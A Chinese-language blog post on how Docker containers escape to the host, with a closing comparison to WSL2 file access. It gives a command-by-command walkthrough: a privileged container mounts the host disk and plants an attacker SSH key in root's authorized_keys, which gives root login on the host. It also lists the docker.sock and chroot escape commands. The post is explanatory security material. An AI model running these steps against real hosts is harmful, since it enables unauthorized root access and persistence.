菜单

Administrator
发布于 2026-02-08 / 21 阅读
0
0

Docker逃逸及其与WSL的区别

前置知识

要了解docker逃逸首先要知道docker的本质

首先,docker和传统虚拟机最大的区别是它是直接调用宿主机的硬件来完成工作,并不是虚拟机那样会在宿主机的硬件基础上虚拟化出自己的硬件并与宿主机的硬件隔离。

Docker 容器本质上是 隔离的进程,运行在宿主机的内核之上,并没有虚拟化硬件(不像 VM)

所以在容器内部执行

cat /proc/cpuinfo
free -m


看到的是宿主机的真实硬件信息(虽然可能被 cgroups 限制了可用资源)。

正因为直接使用宿主机内核,容器内无法加载内核模块(.ko 文件),也无法修改内核参数(除非有特权)。

核心原理

Docker 利用 Linux 内核的以下特性,将应用程序及其依赖打包成一个隔离的运行环境(容器)

技术 作用
Namespaces(命名空间) 实现 视图隔离: • PID(进程 ID) • NET(网络) • MNT(文件系统挂载) • UTS(主机名) • IPC(进程间通信) • USER(用户 ID)
Cgroups(控制组) 实现 资源限制与计量: • CPU、内存、磁盘 I/O、网络带宽等
Union File System(如 overlay2) 实现 镜像分层与写时复制(CoW),节省存储

简单说:Docker 容器 = 一个被 Namespaces 隔离 + Cgroups 限制的普通 Linux 进程

逃逸的条件

由于docker容器与宿主机共享内核并未完全隔离硬件,因此可以通过命令挂载主机的硬件到容器上

造成逃逸的原因:

Docker Daemon 拥有宿主机 root 权限

​ “Docker 守护进程(dockerd)通常以 root 身份运行,因此任何能向其发送指令的用户(如通过挂载 docker.sock)都可间接获得宿 主机 root 权限。”

​ 当你执行 docker run -v /:/host,Docker Daemon 会调用 Linux 的 mount 系统调用,将宿主机的 / 目录绑定挂载(bind mount)到容器内的 /host

​ 因为 dockerd 是 root,它有权访问宿主机任意路径。

Linux Namespace + Mount Namespace 的“穿透

​ 容器使用 Mount Namespace 实现文件系统隔离。

​ 但 -v /:/host 是在创建容器时由 宿主机 root(dockerd)主动注入 的挂载点。

​ 容器内的进程看到的是一个“视图”,但底层 inode 和数据仍属于宿主机。

不当的操作

当运维人员在运行docker容器时使用了不当的命令导致docker挂载了宿主机的敏感目录或者容器权限过高,就可能导致docker逃逸

1. 挂载敏感目录(尤其是//etc/proc/sys

docker run -v /:/host ...

容器内可直接读写宿主机所有文件。

可修改 /etc/passwd/etc/shadow、SSH 密钥、cron 任务等。

2. --privileged 模式运行容器

docker run --privileged ...

容器获得几乎全部 Linux Capabilities(能力)。

可访问所有设备(如 /dev/sda 磁盘)、加载内核模块、修改 sysctl 等。

可直接挂载宿主机磁盘

3. 挂载 Docker Socket:-v /var/run/docker.sock:/var/run/docker.sock

容器内可与 Docker Daemon 通信。

可创建新容器并挂载宿主机任意目录:

docker run -v /:/host alpine chroot /host /bin/bash

相当于 间接获得宿主机 root 权限

4. 共享 PID 或网络命名空间

docker run --pid=host --net=host ...

--pid=host:可查看/操作宿主机所有进程(如注入、提权)。

--net=host:可监听任意端口,绕过网络隔离。

示例

挂载(此情况是以–privileged 模式运行容器)

如果在在docker根目录存在/host文件加,则可能在运行docker时已经挂载了宿主机的一些目录,可以看看是否是敏感目录。

当你进入docker的终端之后,首先需要判断docker是否挂载了敏感的目录

fdisk -l

可能会输出类似下图的结果(如果没有输出,可能该容器没有挂载)

image-20260208154002822

根据输出我们可以推测``sda3` 分区可能就是宿主机

我们可以通过mount命令将其链接到到某个目录下,例如

mkdir /tmp/test
mount /dev/sda3  /tmp/test/ 
cd /tmp/test

如图,此时我们已经能够看到宿主机的文件系统了,但我们还是在docker的终端中,如果要实现逃逸到宿主机的终端,有很多方法,接下来演示一个通过写入ssh密钥实现远程连接的方法。(注意:该方法依赖目标系统允许 root 通过 SSH 公钥认证登录。若系统禁用 root 登录或使用 SELinux/AppArmor 限制,可能无法生效。)

image-20260208163358485

逃逸

首先要在看一下宿主机是否允许root登录

#以Ubuntu为例(此时在docker的/tmp/test目录下)
cat ./etc/ssh/sshd_config

#如果PermitRootLogin为yes即允许root登录

条件允许就可以开始了

先生成ssh的密钥

在本地执行


ssh-keygen -t rsa -b 4096 -f ./id_rsa_attacker

这会生成:

私钥:id_rsa_attacker(你自己保留,用于登录)

公钥:id_rsa_attacker.pub(要写入目标服务器)

在容器中写入ssh密钥

# 创建 .ssh 目录
mkdir -p ./root/.ssh

# 设置安全权限(非常重要!SSH 会拒绝不安全的权限)
chmod 700 ./root/.ssh

# 写入公钥
echo "你的ssh公钥" >> ./root/.ssh/authorized_keys

# 设置 authorized_keys 权限
chmod 600 ./root/.ssh/authorized_keys
chown -R 0:0 ./root/.ssh   # root 的 UID/GID 是 0

#如果你想以普通用户登录则只需将root文件夹改为用户名,同时将 UID:GID设置为1000以上
#注意:以上操作全部是将文件写入挂载的宿主机文件系统中而不是容器系统,注意文件路径问题!!!!

将密钥写入系统后就可以在本地通过ssh连接服务器了

ssh -p 22 -i your_rsa_key_path root@<宿主机ip>

image-20260208175200436

至此我们已经实现了从docker容器逃逸至宿主机的全部流程,至于其他方法比如通过创建用户,或者写入后门文件,各位可以去查找相关资料。

WSL与docker的区别

在我刚刚接触WSL时,那时还不知道WSL能够挂载磁盘,为了实现WSL与主机的文件互通试了好多方法,反反复复不知道卸载重装了多少次,写这篇文章页也是为了纪念一下当年一个寒假都在鼓捣这个问题的经历。

WSL2(Windows Subsystem for Linux 2)能够访问 Windows 文件(如 C:\Users 显示为 /mnt/c/Users),其背后依赖于 微软深度集成的虚拟化与文件系统桥接技术

在现在流行的WSL2中,Windows的文件通常会挂载在 /mnt 的目录下,Linux 文件应放在 /(位于 ext4.vhdx 虚拟磁盘中),而 /mnt/ 仅用于访问 Windows 文件。/mnt/c 是通过 Plan 9 分布式文件系统协议从 Windows 主机挂载进 Linux VM 的。

​ 它是一个网络文件系统挂载点(类似 NFS)。

​ 微软实现了高性能 9P 服务(LxssManager),支持读写。

​ 但不能直接访问 Windows 系统文件(如 C:\Windows)的底层 inode,因为跨了 VM 边界。

至于具体如何挂载及原理,以后会专门写一篇文章来介绍。

延伸:WSL2 中的 Docker 是什么情况?

​ WSL2 本身是一个 轻量级 Hyper-V 虚拟机(运行 Linux 内核)。

​ 在 WSL2 中运行的 Docker Desktop,其 Docker Daemon 实际运行在 WSL2 VM 内

​ 所以:你的 Windows → WSL2(VM)→ Docker 容器(进程),这时,Docker 容器的“宿主机”其实是 WSL2 虚拟机,而不是 Windows 物理机。 因此,你无法通过 WSL 的 /mnt/c 去修改 Windows 的 C:\Windows\System32\ 并提权,除非利用 Windows 本身的漏洞。


评论